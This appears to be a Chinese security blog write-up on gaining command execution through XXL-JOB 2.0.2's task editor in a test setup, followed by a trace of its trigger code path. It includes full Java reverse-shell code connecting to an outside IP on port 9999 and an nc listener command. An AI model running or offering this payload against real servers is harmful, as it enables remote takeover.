xiao1star2025-12-12文章来源:SecHub网络安全社区
测试环境
xxl_job_2.0.2
任务管理->新增任务
唯一要注意的是运行模式的选择,一般来说我们会选择Shell去执行一些linux下的命令,但是要注意有时xxl-job也可能是在Windows上,那么我们可以选择使用Powershell,本人是搭建在了Windows机器上就选择的是Powershell

接着点击GLUE选项,进行脚本的编辑

我们输入一个whoami,接着保存即可

点击执行,然后来到如下页面直接点击保存

接着来到调度日志,查看执行日志

可以看到成功回显

反弹shell
为了方便不管是linux还是windows都可以进行反弹shell,我们可以创建一个java的运行模式

接着点击CLUE如下反弹shell的代码粘贴上去
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;
public class reverse {
class StreamConnector
extends Thread
{
InputStream hx;
OutputStream il;
StreamConnector(InputStream hx, OutputStream il)
{
this.hx = hx;
this.il = il;
}
public void run()
{
BufferedReader ar = null;
BufferedWriter slm = null;
try
{
ar = new BufferedReader(new InputStreamReader(this.hx));
slm = new BufferedWriter(new OutputStreamWriter(this.il));
char[] buffer = new char[8192];
int length;
while ((length = ar.read(buffer, 0, buffer.length)) > 0)
{
slm.write(buffer, 0, length);
slm.flush();
}
}
catch (Exception localException) {}
try
{
if (ar != null) {
ar.close();
}
if (slm != null) {
slm.close();
}
}
catch (Exception localException1) {}
}
}
public reverse()
{
reverseConn("8.141.12.11:9999");
}
public static void main(String[] args)
{
System.out.println("0");
}
public void reverseConn(String ip)
{
String ipport = ip;
try
{
String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
ShellPath = new String("/bin/sh");
} else {
ShellPath = new String("cmd.exe");
}
Socket socket = new Socket(ipport.split(":")[0],
Integer.parseInt(ipport.split(":")[1]));
Process process = Runtime.getRuntime().exec(ShellPath);
new StreamConnector(process.getInputStream(),
socket.getOutputStream()).start();
new StreamConnector(process.getErrorStream(),
socket.getOutputStream()).start();
new StreamConnector(socket.getInputStream(),
process.getOutputStream()).start();
}
catch (Exception e)
{
e.printStackTrace();
}
}
}
在你的vpn上开启9999的监听
nc -lvvp 9999
接着执行,然后发现成功反弹

注意在日志里面可能会显示调度失败但是没关系依旧可以成功反弹shell
首先来到com/xxl/job/admin/controller/JobInfoController#triggerJob

接着来到com/xxl/job/admin/core/thread/JobTriggerPoolHelper#trigger中在这调用了addTrigger方法

接着来到com/xxl/job/admin/core/thread/JobTriggerPoolHelper#addTrigger方法中,在方法中首先是根据jobid值来判断使用快线程池还是慢线程池,接着就调用线程池的execute方法,其中调用了Runnable接口重写了run方法

接着就来到com/xxl/job/admin/core/trigger/XxlJobTrigger#中,可以看到首先是根据jobid获取到jobInfo,这个里面就存储着相关的任务信息

接着就来到com/xxl/job/admin/core/trigger/XxlJobTrigger#processTrigger中,可以看到在这个方法中获取就是一些日志的保存,然后通过jobInfo来设置Trigger中的相关参数然后就是地址的获取

可以看到triggerParam中的内容就是之前Jobinfo相关的信息,而我们address就是我们本机ip加上执行器所开放的端口


接着就调用了runExecutor

在com/xxl/job/admin/core/trigger/XxlJobTrigger#runExecutor中首先是拿到对应 address的 ExecutorBiz 客户端代理,接着就调用其run方法发起真正的远程调用

在这里可以看到使用的是动态代理来实现的


问题原因
来到执行管理器中,可以看到我们的注册方式为自动注册,但是Online机器地址并没有获取到

正常情况如下所所示

本人发现原来是自己的XxlJobExecutorApplication项目没有运行导致的,在运行完admin下的那个项目之后再运行该项目,然后注销账号重新登录即可

参考解决方法:XXL入门 执行器地址为空解决方法
本人在选择PowerShell的运行模式,然后执行脚本ipconfig脚本时,调度成功但是执行结果失败



报错原因:Windows 执行器机器上的 PowerShell 执行策略(ExecutionPolicy) 默认为 Restricted,禁止任何脚本运行,于是 XXL-JOB 调度执行器调用 .ps1 时直接报错退出。
解决方法:在 执行器所在的 Windows 服务器 上,以 管理员身份 打开 PowerShell,执行
# 永久允许本地脚本运行(推荐)
Set-ExecutionPolicy RemoteSigned -Scope LocalMachine -Force
